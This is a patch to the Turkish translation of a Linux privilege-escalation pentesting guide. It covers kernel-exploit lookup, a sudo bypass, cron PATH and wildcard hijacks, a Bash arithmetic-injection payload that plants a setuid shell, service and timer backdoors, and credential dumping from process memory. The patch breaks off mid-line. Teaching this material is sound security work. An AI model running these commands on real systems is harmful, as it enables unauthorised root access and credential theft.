From ccc4c583b74100cef2aaa7e4d4c1e0c99b97af63 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 16:58:17 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/spring-a --- .../privilege-escalation/README.md | 580 +++++++++--------- .../pentesting-web/spring-actuators.md | 120 +++- 2 files changed, 401 insertions(+), 299 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index aa1560a46..9268ecfeb 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,48 +4,48 @@ ## Sistem Bilgisi -### İşletim Sistemi bilgisi +### OS info -Çalışan işletim sistemi hakkında bilgi edinmeye başlayalım. +Çalışan OS hakkında bilgi edinmeye başlayalım ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Path +### PATH -Eğer **`PATH` değişkeninin içindeki herhangi bir klasörde yazma izniniz varsa** bazı libraries veya binaries'i hijack edebilirsiniz: +Eğer **`PATH` değişkenindeki herhangi bir klasörde yazma izniniz varsa** bazı libraries veya binaries'i hijack edebilirsiniz: ```bash echo $PATH ``` -### Env bilgisi +### Env info -Çevre değişkenlerinde ilginç bilgiler, parolalar veya API anahtarları var mı? +Ortamdaki değişkenlerde ilginç bilgiler, parolalar veya API anahtarları var mı? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Kernel sürümünü ve escalate privileges için kullanılabilecek herhangi bir exploit olup olmadığını kontrol et. +Kernel sürümünü kontrol edin ve escalate privileges için kullanılabilecek bir exploit olup olmadığını araştırın ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Güvenlik açığı olan kernel listesi ve bazı zaten **compiled exploits** şu adreslerde bulabilirsiniz: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Diğer bazı **compiled exploits** bulabileceğiniz siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +İyi bir vulnerable kernel listesi ve bazı zaten **compiled exploits** şurada bulunabilir: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ve [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Bazı **compiled exploits** bulabileceğiniz diğer siteler: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Bu siteden tüm zafiyetli kernel sürümlerini çıkarmak için şunu yapabilirsiniz: +Bu siteden tüm vulnerable kernel sürümlerini çıkarmak için şunu yapabilirsiniz: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Kernel exploit aramalarında yardımcı olabilecek araçlar: +Kernel exploit'lerini aramaya yardımcı olabilecek araçlar: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (victim üzerinde çalıştırın, yalnızca kernel 2.x için exploitleri kontrol eder) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) -Her zaman **kernel sürümünü Google'da arayın**, belki kernel sürümünüz bazı kernel exploit'lerinde yazılıdır ve böylece bu exploit'in geçerli olduğundan emin olursunuz. +Her zaman **kernel sürümünü Google'da arayın**; belki kernel sürümünüz bazı kernel exploit'lerinde yazılıdır ve böylece bu exploit'in geçerli olduğundan emin olabilirsiniz. ### CVE-2016-5195 (DirtyCow) @@ -59,11 +59,11 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo sürümü -Şurada görünen savunmasız sudo sürümlerine göre: +Görünen güvenlik açığı bulunan sudo sürümlerine dayanarak: ```bash searchsploit sudo ``` -Bu grep'i kullanarak sudo sürümünün zafiyetli olup olmadığını kontrol edebilirsiniz. +sudo sürümünün zafiyetli olup olmadığını bu grep ile kontrol edebilirsiniz. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,9 +73,9 @@ Kaynak: @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg imza doğrulaması başarısız +### Dmesg signature verification failed -**smasher2 box of HTB**'yi, bu **vuln**'ün nasıl exploit edilebileceğine dair bir **örnek** için kontrol edin. +**smasher2 box of HTB**'ye bu vuln'ün nasıl exploit edilebileceğine dair bir **örnek** için bakın. ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -86,7 +86,7 @@ date 2>/dev/null #Date lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Olası savunmaları listeleyin +## Olası savunmaları sıralayın ### AppArmor ```bash @@ -123,16 +123,16 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Eğer bir docker container içindeyseniz, ondan kaçmayı deneyebilirsiniz: +Eğer bir docker container'ın içindeyseniz, ondan kaçmayı deneyebilirsiniz: {{#ref}} docker-security/ {{#endref}} -## Drives +## Sürücüler -Kontrol edin **what is mounted and unmounted**, nerede ve neden. Eğer herhangi bir şey unmounted ise, onu mount etmeyi deneyebilir ve gizli bilgileri kontrol edebilirsiniz. +Neyin **what is mounted and unmounted** olduğunu, nerede olduğunu ve nedenini kontrol edin. Eğer herhangi bir şey unmounted ise, onu mount etmeyi deneyebilir ve özel bilgileri kontrol edebilirsiniz ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -145,45 +145,45 @@ Kullanışlı binaries'leri listeleyin ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Ayrıca, **any compiler is installed** olup olmadığını kontrol edin. Bu, bazı kernel exploit'leri kullanmanız gerekirse faydalıdır; çünkü onları kullanacağınız makinede (veya benzer birinde) compile etmeniz önerilir. +Ayrıca, **herhangi bir derleyicinin yüklü olup olmadığını** kontrol edin. Bu, bazı kernel exploit'lerini kullanmanız gerekiyorsa faydalıdır çünkü bunları kullanacağınız makinede (veya benzer bir makinede) derlemeniz önerilir. ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Zafiyeti Olan Kurulu Yazılımlar +### Açığı Olan Kurulu Yazılımlar -**yüklü paketlerin ve servislerin sürümlerini** kontrol edin. Belki eski bir Nagios sürümü (örneğin) vardır; bu, escalating privileges için exploited edilebilir…\ -Daha şüpheli yüklü yazılımların sürümlerini manuel olarak kontrol etmeniz önerilir. +Kurulu paketlerin ve servislerin **sürümünü** kontrol edin. Belki istismar edilebilecek eski bir Nagios sürümü (örneğin) vardır ve bu escalating privileges için kullanılabilir…\ +Daha şüpheli kurulu yazılımların sürümlerini manuel olarak kontrol etmeniz önerilir. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Makineye SSH erişiminiz varsa, içeride yüklü olan güncel olmayan ve zafiyetli yazılımları kontrol etmek için **openVAS**'ı da kullanabilirsiniz. +Makineye SSH erişiminiz varsa, makinede yüklü olan eski ve güvenlik açığı bulunan yazılımları kontrol etmek için **openVAS**'ı da kullanabilirsiniz. -> [!NOTE] > _Bu komutların çoğunlukla işe yaramayan çok fazla bilgi göstereceğini unutmayın; bu nedenle yüklü yazılım sürümlerinin known exploits için savunmasız olup olmadığını kontrol edecek OpenVAS veya benzeri uygulamaların kullanılması önerilir_ +> [!NOTE] > _Bu komutların büyük ölçüde işe yaramayacak çok fazla bilgi göstereceğini unutmayın; bu nedenle, yüklü yazılım sürümlerinin bilinen exploits'lere karşı savunmasız olup olmadığını kontrol eden OpenVAS veya benzeri bazı uygulamalar önerilir_ ## İşlemler -Hangi işlemlerin yürütüldüğüne bir göz atın ve herhangi bir işlemin **olması gerekenden daha fazla ayrıcalığa** sahip olup olmadığını kontrol edin (**hangi işlemler** — örneğin root tarafından çalıştırılan bir tomcat olabilir mi?). +Hangi **işlemlerin** yürütüldüğüne bakın ve herhangi bir işlemin olması gerekenden **daha fazla ayrıcalığa** sahip olup olmadığını kontrol edin (belki bir tomcat root tarafından çalıştırılıyordur?) ```bash ps aux ps -ef top -n 1 ``` -Her zaman [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md) olup olmadığını kontrol edin. **Linpeas** bu türleri process komut satırındaki `--inspect` parametresini kontrol ederek tespit eder.\ -Ayrıca **processes binaries** üzerindeki ayrıcalıklarınızı kontrol edin; belki birini overwrite edebilirsiniz. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Ayrıca **check your privileges over the processes binaries**, belki birini overwrite edebilirsiniz. -### Süreç izleme +### Process monitoring -Süreçleri izlemek için [**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanabilirsiniz. Bu, sıkça çalıştırılan veya belirli gereksinimler karşılandığında yürütülen zafiyetli süreçleri tespit etmek için çok faydalı olabilir. +Süreçleri izlemek için [**pspy**](https://github.com/DominicBreuker/pspy) gibi araçları kullanabilirsiniz. Bu, sıkça çalıştırılan veya belirli gereksinimler karşılandığında çalışan zafiyetli süreçleri tespit etmek için çok faydalı olabilir. -### Süreç belleği +### Process memory -Bazı sunucu servisleri **credentials in clear text inside the memory** saklar.\ -Normalde diğer kullanıcılara ait süreçlerin belleğini okumak için **root privileges** gerekir; bu yüzden bu genellikle zaten root olduğunuzda ve daha fazla kimlik bilgisi keşfetmek istediğinizde daha faydalıdır.\ -Ancak, unutmayın ki **as a regular user you can read the memory of the processes you own**. +Bazı sunucu servisleri **kimlik bilgilerini belleğin içinde açık metin olarak kaydeder**.\ +Normalde diğer kullanıcılara ait süreçlerin belleğini okumak için **root privileges** gerekir, bu yüzden bu genellikle zaten root olduğunuzda ve daha fazla kimlik bilgisi keşfetmek istediğinizde daha kullanışlıdır.\ +Ancak unutmayın ki **as a regular user you can read the memory of the processes you own**. > [!WARNING] -> Günümüzde çoğu makine **don't allow ptrace by default**; bu, ayrıcalıksız kullanıcınıza ait diğer süreçleri dump edemeyeceğiniz anlamına gelir. +> Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > @@ -194,7 +194,7 @@ Ancak, unutmayın ki **as a regular user you can read the memory of the processe #### GDB -Örneğin bir FTP servisinin belleğine erişiminiz varsa Heap'i elde edip içindeki credentials'ları arayabilirsiniz. +If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Script +#### GDB Betiği ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Verilen bir işlem kimliği için, **maps o işlemin sanal adres alanı içinde belleğin nasıl eşlendiğini gösterir**; ayrıca **eşlenen her bölgenin izinlerini** gösterir. Bu **mem** pseudo dosyası **işlemin belleğini doğrudan açığa çıkarır**. **maps** dosyasından hangi **bellek bölgelerinin okunabilir** olduğunu ve bunların offsetlerini biliriz. Bu bilgiyi **mem dosyasında seek yapıp tüm okunabilir bölgeleri bir dosyaya dökmek için kullanırız**. +Belirli bir işlem kimliği için, **maps, o işlemin sanal adres alanı içinde belleğin nasıl eşlendiğini gösterir**; ayrıca **her eşlenmiş bölgenin izinlerini** gösterir. Sahte (pseudo) dosya **mem**, **işlemin belleğinin kendisini açığa çıkarır**. **maps** dosyasından hangi **bellek bölgelerinin okunabilir** olduğunu ve bu bölgelerin offset'lerini biliriz. Bu bilgiyi **mem dosyasında seek yapıp tüm okunabilir bölgeleri dump ederek** bir dosyaya aktarmak için kullanırız. ```bash procdump() ( @@ -231,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` sistemin **fiziksel** belleğine erişim sağlar, sanal belleğe değil. Kernel'in sanal adres uzayına /dev/kmem kullanılarak erişilebilir.\ -Genellikle, `/dev/mem` yalnızca **root** ve **kmem** grubunca okunabilir. +`/dev/mem` sistemin **fiziksel** belleğine erişim sağlar, sanal belleğe değil. Çekirdeğin sanal adres alanına /dev/kmem kullanılarak erişilebilir.\ +Genellikle, `/dev/mem` yalnızca **root** ve **kmem** grubu tarafından okunabilir. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump for linux -ProcDump, Windows için Sysinternals araç paketindeki klasik ProcDump aracının Linux için yeniden tasarlanmış bir versiyonudur. İndirmek için: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump, Windows için Sysinternals araç paketindeki klasik ProcDump aracının Linux için yeniden tasarlanmış halidir. Edinin: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,13 +267,13 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Araçlar -Bir process memory'sini dump etmek için şunları kullanabilirsiniz: +Bir işlemin belleğini dökmek için şunları kullanabilirsiniz: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Root gereksinimlerini manuel olarak kaldırabilir ve size ait olan process'i dumplayabilirsiniz -- Script A.5 şu kaynaktan [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root gereklidir) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_root gereksinimlerini manuel olarak kaldırabilir ve size ait olan işlemin belleğini dökebilirsiniz +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root gereklidir) -### Credentials from Process Memory +### İşlem Belleğinden Kimlik Bilgileri #### Manuel örnek @@ -282,18 +282,18 @@ If you find that the authenticator process is running: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -İşlemi dump edebilir (bir işlemin memory'sini dump etmenin farklı yollarını bulmak için önceki bölümlere bakın) ve memory içinde credentials arayabilirsiniz: +İşlemi dump edebilir (bir işlemin belleğini dump etmenin farklı yollarını bulmak için önceki bölümlere bakın) ve belleğin içinde kimlik bilgilerini arayabilirsiniz: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Bu araç [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) bellekten **clear text credentials** ve bazı **iyi bilinen dosyalardan** çalacaktır. Doğru çalışması için root ayrıcalıkları gereklidir. +Araç [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **bellekten düz metin kimlik bilgilerini çalacak** ve bazı **iyi bilinen dosyalardan**. Doğru çalışması için root ayrıcalıkları gerektirir. | Özellik | Süreç Adı | | ------------------------------------------------- | -------------------- | -| GDM şifresi (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (Active FTP Connections) | vsftpd | @@ -314,121 +314,145 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Scheduled/Cron jobs +## Zamanlanmış/Cron görevleri -Herhangi bir scheduled job'ın zafiyeti olup olmadığını kontrol et. Belki root tarafından çalıştırılan bir script'ten faydalanabilirsin (wildcard vuln? root'un kullandığı dosyaları değiştirebilir misin? symlinks kullanmak? root'un kullandığı dizinde belirli dosyalar oluşturmak?). +Herhangi bir zamanlanmış/Cron görevin zayıf olup olmadığını kontrol et. Belki root tarafından çalıştırılan bir scriptten faydalanabilirsin (wildcard vuln? root'un kullandığı dosyaları değiştirebilir misin? symlinks kullanmak? root'un kullandığı dizinde belirli dosyalar oluşturmak?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron yolu +### Cron path -Örneğin, _/etc/crontab_ içinde PATH'i bulabilirsiniz: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Örneğin, _/etc/crontab_ içinde PATH'i şu şekilde bulabilirsiniz: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Dikkat: "user" kullanıcısının /home/user üzerinde yazma yetkisi olduğunu göz önünde bulundurun_) +(_Dikkat: kullanıcı "user"ın /home/user üzerinde yazma yetkisi var_) -Eğer bu crontab içinde root kullanıcısı PATH'i ayarlamadan bir komut veya script çalıştırmaya çalışıyorsa. Örneğin: _\* \* \* \* root overwrite.sh_\ -Böylece, aşağıdakini kullanarak root shell elde edebilirsiniz: +Eğer bu crontab içinde root kullanıcısı PATH'i ayarlamadan bir komut veya script çalıştırmaya çalışırsa. Örneğin: _\* \* \* \* root overwrite.sh_\ +Böylece root shell elde edebilirsiniz: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron wildcard içeren bir script kullanımı (Wildcard Injection) +### Cron using a script with a wildcard (Wildcard Injection) -Eğer bir script root tarafından çalıştırılıyorsa ve bir komut içinde “**\***” varsa, bunu beklenmeyen şeyler (ör. privesc) yapmak için suistimal edebilirsiniz. Örnek: +Eğer root tarafından çalıştırılan bir script'in bir komutunda “**\***” varsa, bunu beklenmeyen şeyler (ör. privesc) yapmak için kullanabilirsiniz. Örnek: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Eğer wildcard şu tür bir yolun önünde bulunuyorsa** _**/some/path/\***_ **, bu zafiyetli değildir (hatta** _**./\***_ **de değildir).** +**Eğer wildcard bir yolun önünde yer alıyorsa, örneğin** _**/some/path/\***_**, vulnerable değildir (hatta** _**./\***_ **de değildir).** -Daha fazla wildcard exploitation tricks için aşağıdaki sayfayı okuyun: +Daha fazla wildcard exploitation hilesi için aşağıdaki sayfayı okuyun: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron script üzerine yazma ve symlink -Eğer root tarafından çalıştırılan bir cron script'i **değiştirebiliyorsanız**, çok kolay bir şekilde shell elde edebilirsiniz: +### Bash arithmetic expansion injection in cron log parsers + +Bash, ((...)), $((...)) ve let içinde arithmetic evaluation'dan önce parameter expansion ve command substitution gerçekleştirir. Eğer bir root cron/parser, untrusted log fields okur ve bunları bir arithmetic context'e verirse, bir attacker command substitution $(...) enjekte edebilir ve cron çalıştığında bu root olarak yürütülür. + +- Neden işe yarar: Bash'te genişletmeler şu sırayla gerçekleşir: parameter/variable expansion, command substitution, arithmetic expansion, ardından word splitting ve pathname expansion. Bu yüzden `$(/bin/bash -c 'id > /tmp/pwn')0` gibi bir değer önce substitute edilir (komut çalıştırılır), ardından kalan sayısal `0` aritmetikte kullanılır ve script hata vermeden devam eder. + +- Tipik vulnerable pattern: +```bash +#!/bin/bash +# Example: parse a log and "sum" a count field coming from the log +while IFS=',' read -r ts user count rest; do +# count is untrusted if the log is attacker-controlled +(( total += count )) # or: let "n=$count" +done < /var/www/app/log/application.log +``` + +- Exploitation: Parse edilen log'a attacker-controlled bir içerik yazdırın, böylece sayıya benzeyen alan bir command substitution içerir ve bir rakamla biter. Komutunuz stdout'a yazmasın (veya yönlendirin) böylece arithmetic geçerli kalır. +```bash +# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): +$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 +# When the root cron parser evaluates (( total += count )), your command runs as root. +``` + +### Cron script overwriting and symlink + +Eğer root tarafından çalıştırılan bir **cron script**'i değiştirebiliyorsanız, çok kolay bir şekilde shell elde edebilirsiniz: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Eğer root tarafından çalıştırılan script, **tam erişiminizin olduğu bir directory** kullanıyorsa, o folder'ı silip **başka bir directory'ye symlink oluşturmak** ve böylece kendi kontrolünüzdeki bir scripti sunmak işe yarayabilir. +Eğer root tarafından çalıştırılan script, **tam erişiminiz olan directory** kullanıyorsa, o klasörü silip sizin kontrolünüzde bir script sunan başka bir dizine işaret eden **symlink bir klasör oluşturmak** faydalı olabilir. ```bash ln -d -s ``` -### Sık kullanılan cron jobs +### Frequent cron jobs -Süreçleri izleyerek her 1, 2 veya 5 dakikada bir çalıştırılan süreçleri tespit edebilirsiniz. Belki bundan faydalanıp escalate privileges elde edebilirsiniz. +Süreçleri, her 1, 2 veya 5 dakikada bir çalıştırılan süreçleri aramak için izleyebilirsiniz. Belki bundan faydalanıp escalate privileges yapabilirsiniz. -Örneğin, **1 dakika boyunca her 0.1s'de bir izlemek**, **daha az çalıştırılan komutlara göre sıralamak** ve en çok çalıştırılmış komutları silmek için şöyle yapabilirsiniz: +Örneğin, **1 dakika boyunca her 0.1s'de bir izlemek**, **daha az çalıştırılan komutlara göre sıralamak** ve en çok çalıştırılan komutları silmek için şunu yapabilirsiniz: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Ayrıca kullanabilirsiniz** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (bu, başlayan her süreci izler ve listeler). +**Ayrıca şunu kullanabilirsiniz** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (başlayan her süreci izleyecek ve listeleyecektir). ### Görünmez cron jobs -Bir cronjob oluşturmak mümkündür: bir yorumdan sonra **carriage return koyarak** (newline karakteri olmadan), ve cron job çalışacaktır. Örnek (carriage return karakterine dikkat): +Bir yorumdan sonra **carriage return koyarak** (yeni satır karakteri olmadan) bir cronjob oluşturmak mümkündür ve cron job çalışır. Örnek (carriage return karakterine dikkat): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Servisler -### Yazılabilir _.service_ dosyaları +### Yazılabilir _.service_ files -Herhangi bir `.service` dosyasını yazıp yazamayacağınızı kontrol edin; yazabiliyorsanız, **onu değiştirebilir** ve servis **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **backdoor**'unuzun **çalıştırılmasını** sağlayabilirsiniz (makinenin yeniden başlatılmasını beklemeniz gerekebilir).\ -Örneğin backdoor'unuzu .service dosyasına **`ExecStart=/tmp/script.sh`** ile oluşturun +Herhangi bir `.service` dosyasına yazıp yazamayacağınızı kontrol edin, yazabiliyorsanız, bunu **değiştirerek** servis **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **backdoor**'unuzun **çalıştırılmasını** sağlayabilirsiniz (belki makinenin yeniden başlatılmasını beklemeniz gerekir).\ +Örneğin backdoor'unuzu .service dosyasının içine **`ExecStart=/tmp/script.sh`** ile oluşturun ### Yazılabilir servis ikili dosyaları -Unutmayın ki eğer servisler tarafından çalıştırılan **binary'ler üzerinde yazma iznine** sahipseniz, bunları backdoors ekleyecek şekilde değiştirebilirsiniz; böylece servisler yeniden çalıştırıldığında backdoors da çalıştırılır. +Aklınızda bulundurun ki eğer servisler tarafından çalıştırılan ikililere **yazma izniniz** varsa, bunları backdoor'lar için değiştirebilirsiniz; böylece servisler yeniden çalıştırıldığında backdoor'lar çalıştırılacaktır. ### systemd PATH - Göreli Yollar -systemd tarafından kullanılan **PATH**'i şu komutla görebilirsiniz: +systemd tarafından kullanılan PATH'i **şununla** görebilirsiniz: ```bash systemctl show-environment ``` -Eğer yolun herhangi bir klasörüne **yazabiliyorsanız** muhtemelen **escalate privileges** yapabilirsiniz. Hizmet yapılandırma dosyalarında kullanılan **göreli yollar** gibi şeyleri aramanız gerekiyor: +Eğer yolun herhangi bir klasörüne **yazma** yapabildiğinizi fark ederseniz, **escalate privileges** yapabiliyor olabilirsiniz. Servis yapılandırma dosyalarında kullanılan **göreli yolları** gibi şeyleri aramanız gerekir: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Sonra, yazma izniniz olan systemd PATH klasörünün içine, görece yol ikili dosyayla aynı ada sahip bir **çalıştırılabilir** oluşturun ve servis savunmasız eylemi (**Başlat**, **Durdur**, **Yeniden Yükle**) gerçekleştirmesi istendiğinde, **backdoor**'unuz çalıştırılacaktır (ayrıcalıksız kullanıcılar genelde servisleri başlatıp durduramazlar ama `sudo -l` kullanıp kullanamayacağınızı kontrol edin). +Then, create an **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (**Start**, **Stop**, **Reload**), your **backdoor will be executed** (unprivileged users usually cannot start/stop services but check if you can use `sudo -l`). -**Servisler hakkında daha fazla bilgi için `man systemd.service` komutunu kullanın.** +**Learn more about services with `man systemd.service`.** ## **Zamanlayıcılar** -**Zamanlayıcılar** systemd birim dosyalarıdır; adları `**.timer**` ile biten ve `**.service**` dosyalarını veya olayları kontrol eden. **Zamanlayıcılar**, takvim zaman olayları ve monotonik zaman olayları için yerleşik desteğe sahip oldukları ve eşzamansız çalıştırılabildikleri için cron'a bir alternatif olarak kullanılabilir. +**Timers**, adı `**.timer**` ile biten systemd unit dosyalarıdır ve `**.service**` dosyalarını veya olayları kontrol eder. **Timers**, takvim zaman olayları ve monotonik zaman olayları için yerleşik desteğe sahip oldukları ve eşzamansız olarak çalıştırılabildikleri için cron alternatifi olarak kullanılabilir. -Tüm zamanlayıcıları şu komutla listeleyebilirsiniz: +You can enumerate all the timers with: ```bash systemctl list-timers --all ``` -### Yazılabilir timer'lar +### Writable timers -Eğer bir timer'ı değiştirebiliyorsanız, var olan systemd.unit birimlerinden bazılarını (örn. bir `.service` veya `.target`) çalıştırmasını sağlayabilirsiniz. +Eğer bir timer'ı değiştirebiliyorsanız, systemd.unit içindeki var olan bazı birimleri (ör. `.service` veya `.target`) çalıştırmasını sağlayabilirsiniz. ```bash Unit=backdoor.service ``` -Dokümantasyonda Unit'in ne olduğu şöyle açıklanır: +Belgelerde Unit'in ne olduğu şöyle açıklanır: -> Bu timer sona erdiğinde etkinleştirilecek Unit. Argüman, son eki ".timer" olmayan bir unit adıdır. Belirtilmezse, bu değer timer unit ile aynı ada sahip bir service'e varsayar; yalnızca son ek farklıdır. (Yukarıya bakın.) Etkinleştirilen unit adının ve timer unit adının son ek dışında aynı adla isimlendirilmesi önerilir. +> Bu timer sona erdiğinde etkinleştirilecek unit'tir. Argüman, son eki ".timer" olmayan bir unit adıdır. Belirtilmezse, bu değer varsayılan olarak timer unit ile aynı ada sahip, yalnızca son eki farklı olan bir service olur. (Yukarıya bakınız.) Etkinleştirilecek unit adı ile timer unit adının, son ek dışında, aynı şekilde adlandırılması önerilir. -Bu izni kötüye kullanmak için şunlara ihtiyacınız olur: +Bu nedenle, bu izni kötüye kullanmak için şunları yapmanız gerekir: -- Bazı systemd unit'leri (ör. `.service`) bulun; bunlar **yazılabilir bir binary çalıştırıyor** -- Bazı systemd unit'leri bulun; bunlar **göreli bir yol çalıştırıyor** ve siz **systemd PATH** üzerinde **yazma ayrıcalıklarına** sahipsiniz (o yürütülebilir dosyayı taklit etmek için) +- Yazılabilir bir binary çalıştıran bazı systemd unit'leri (ör. `.service`) bulun +- Relative path çalıştıran bazı systemd unit'lerini bulun ve systemd PATH üzerinde writable privileges sahibi olun (o executable'ı taklit etmek için) -**timer'lar hakkında daha fazlasını öğrenmek için `man systemd.timer`'a bakın.** +**`man systemd.timer` ile timer'lar hakkında daha fazla bilgi edinin.** ### **Timer'ı Etkinleştirme** @@ -437,32 +461,32 @@ Bir timer'ı etkinleştirmek için root ayrıcalıklarına sahip olmanız ve şu sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → 